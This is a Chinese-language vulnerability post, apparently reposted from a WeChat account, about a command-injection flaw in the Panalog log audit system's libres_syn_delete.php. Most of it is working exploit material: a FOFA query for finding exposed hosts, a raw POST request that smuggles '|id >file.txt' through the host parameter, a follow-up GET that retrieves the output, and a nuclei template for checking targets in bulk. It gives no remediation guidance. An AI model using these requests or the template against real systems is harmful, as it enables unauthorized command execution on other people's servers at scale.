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漏洞描述

Panalog大数据日志审计系统libres_syn_delete.php存在命令执行

fofa语句

app="Panabit-Panalog"

漏洞复现

打开页面

构造payload

POST /content-apply/libres_syn_delete.php HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Content-Length: 54
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

token=1&id=2&host=|id >2cWKiiWovWYAIcNUBPkZph4xPLs.txt

访问生成txt页面

GET /content-apply/2cWKiiWovWYAIcNUBPkZph4xPLs.txt HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate

nuclei批量验证

id: Panalog-RCE

info:
  name: Panalog大数据日志审计系统libres_syn_delete.php存在命令执行
  author: changge
  severity: high
  description: Panalog大数据日志审计系统libres_syn_delete.php存在命令执行
  metadata:
    fofa-query: app="Panabit-Panalog"


requests:
  - raw:
      - |
        POST /content-apply/libres_syn_delete.php HTTP/1.1
        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: close
        Host: {{Hostname}}
        Content-Length: 33
        Content-Type: application/x-www-form-urlencoded

        token=1&id=2&host=|id >{{randstr}}.txt

      - |
        GET /content-apply/{{randstr}}.txt HTTP/1.1
        Host:{{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, 'uid')"

github poc总汇地址：https://github.com/AYcg/poc

原文始发于微信公众号（AY长歌）：Panalog大数据日志审计系统libres_syn_delete.php存在命令执行